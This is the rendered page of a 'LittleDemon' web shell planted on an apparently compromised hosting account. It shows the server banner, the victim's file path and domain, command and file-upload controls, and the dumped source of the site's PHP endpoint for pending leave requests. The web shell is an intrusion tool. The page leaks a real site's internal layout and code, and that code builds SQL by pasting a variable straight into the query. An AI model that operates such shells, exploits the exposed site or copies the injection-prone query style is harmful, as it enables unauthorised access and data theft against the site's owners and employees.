LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/admin_get_pending_leaves.php

<?php
require '../db.php'; // include your DB connection file

$response = [];

$sql = "SELECT leaves.id as id, user_id, user_name, leave_data_json, reason 
        FROM leaves JOIN users ON users.id = user_id
        WHERE leaves.status = 'pending'";

$result = mysqli_query($conn, $sql);

while ($row = mysqli_fetch_assoc($result)) {
    $userId = $row['user_id'];

    // Get approved leaves for this user
    $approvedSql = "SELECT leave_data_json 
                    FROM leaves 
                    WHERE user_id = '$userId' AND status = 'approved'";
    $approvedResult = mysqli_query($conn, $approvedSql);

    $usedLeave = 0;
    $usedWFH = 0;

    while ($approvedRow = mysqli_fetch_assoc($approvedResult)) {
        $entries = json_decode($approvedRow['leave_data_json'], true);
        foreach ($entries as $entry) {
            if ($entry['type'] === 'Leave') $usedLeave++;
            if ($entry['type'] === 'WFH') $usedWFH++;
        }
    }

    $row['used_leave'] = $usedLeave;
    $row['used_wfh'] = $usedWFH;

    $response[] = $row;
}

echo json_encode($response);

LittleDemon - FACEBOOK
[ KELUAR ]